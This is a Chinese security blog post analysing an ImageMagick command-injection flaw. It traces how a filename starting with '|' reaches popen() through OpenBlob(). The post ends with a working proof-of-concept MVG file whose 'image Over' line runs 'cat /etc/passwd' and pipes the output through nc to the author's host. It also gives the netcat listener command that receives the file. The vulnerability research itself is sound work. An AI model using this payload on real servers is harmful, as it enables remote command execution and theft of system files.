from:lonelyrain.me
哎哎哎,老司机一言不合就爆洞啊,这个洞在之前分析CVE-2016-3714的时候也发现了,结果被捂烂了…心塞塞~那我就写一下当时是怎么发现怎么这个洞…
##漏洞分析正文
之前在分析CVE-2016-3714的时候想,system()函数处理有问题,那么其他类似的有哪些函数呢?
下面是一个可以执行命令的函数列表:
system()
popen()
fork()+exec()
execl()
那么搜索一下调用system()函数有哪些地方?经过搜索的话,最终只有CVE-2016-3714这个漏洞点调用到了一个system(). 那这么接下来搜索一下popen()函数调用点
文件:magick/blob.c:2503行
#if defined(SIGPIPE)
if (*type == 'w')
(void) signal(SIGPIPE,SIG_IGN);
#endif
*mode=(*type);
mode[1]='/0';
image->blob->file_info.file=(FILE *) popen_utf8(filename+1,mode);
if (image->blob->file_info.file == (FILE *) NULL)
{
ThrowFileException(exception,BlobError,"UnableToOpenBlob",filename);
return(MagickFalse);
}
image->blob->type=PipeStream;
image->blob->exempt=MagickTrue;
return(SetStreamBuffering(image_info,image));
}
我们可以看到有一个popen_utf8()函数.
跟进函数文件:magick/utility-private.h:173行
static inline FILE *popen_utf8(const char *command,const char *type)
{
#if !defined(MAGICKCORE_WINDOWS_SUPPORT) || defined(__CYGWIN__) || defined(__MINGW32__) || defined(__MINGW64__)
return(popen(command,type));
#else
FILE
*file;
wchar_t
*type_wide,
*command_wide;
command_wide=create_wchar_path(command);
if (command_wide == (wchar_t *) NULL)
return((FILE *) NULL);
type_wide=create_wchar_path(type);
if (type_wide == (wchar_t *) NULL)
{
command_wide=(wchar_t *) RelinquishMagickMemory(command_wide);
return((FILE *) NULL);
}
file=_wpopen(command_wide,type_wide);
type_wide=(wchar_t *) RelinquishMagickMemory(type_wide);
command_wide=(wchar_t *) RelinquishMagickMemory(command_wide);
return(file);
#endif
}
可以看见popen_utf8()直接return了popen()函数的值回来.
那么问题来了,谁调用了popen_utf8呢？
向上追溯代码可以看到是OpenBlob()函数调用了popen_utf8.继续查看谁调用了OpenBlob()
我们可以看到一堆地方调用到了OpenBlob(),看到一个眼熟的地方!
使用GDB反调会让眼熟的地方明显一点
可以看到流程中有constitute.c调用到OpenBlob().而之前分析的时候也经常看constitute.c,很明显会选择先看这个地方的调用有没有问题.
在constitute.c:448行
可以看到status＝OpenBlob(image_info,image,ReadBinaryBlobMode,exception);
status在imagemagick里面一般都是用MagickTrue或者MagickFalse作为最终的函数返回值的,知道这点就好了.
OpenBlob(image_info,image,ReadBinaryBlobMode,exception);
在这个函数中image_info,image两个参数的值都是由我们传进去的.
OpenBlob函数先进行了Policy的检测
if (*type == 'w')
rights=WritePolicyRights;
if (IsRightsAuthorized(PathPolicyDomain,rights,filename) == MagickFalse)
{
errno=EPERM;
(void) ThrowMagickException(exception,GetMagickModule(),PolicyError,
"NotAuthorized","`%s'",filename);
return(MagickFalse);
}
最重要的一段在如下代码
if (*filename == '|')
{
char
mode[MaxTextExtent];
/*
Pipe image to or from a system command.
*/
#if defined(SIGPIPE)
if (*type == 'w')
(void) signal(SIGPIPE,SIG_IGN);
#endif
*mode=(*type);
mode[1]='/0';
image->blob->file_info.file=(FILE *) popen_utf8(filename+1,mode);
if (image->blob->file_info.file == (FILE *) NULL)
{
ThrowFileException(exception,BlobError,"UnableToOpenBlob",filename);
return(MagickFalse);
}
因为*filename指向指针的第一个字符,如果第一个字符是|那么就调用popen_utf8()去打开文件.
所以我们要控制的就是|后面的字符.如果我们想要控制这里的filename就意味着我们需要传入的文件的名称|+你要执行的命令
经过测试这个是可以的,这个地方可以命令执行,但是万一要是上传的文件名字有限制|这个符号不让作为文件名的名字的话,那就挺别扭的.而且windows底下应该是不能用|作为文件的名字的,所以还是把payload写在文件里面比较好.
通过对imagemagick源码的浏览,并且查询imagemagick的官方文档.
可以发现mvg有很多需要操作文件mvg内文件的原语,这些地方都是会调用到OpenBlob()
例如以下操作:
Poc使用image over这个原语.
那么Poc就出来了
1.mvg文件中
push graphic-context
viewbox 0 0 640 480
image Over 0,0 0,0 '|cat /etc/passwd|nc lonelyrain.me 9999'
pop graphic-context
然后attack的服务器运行nc -l 0.0.0.0 9999 > passwd
这个漏洞有兴趣的同学可以去再找一下其它玩法…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论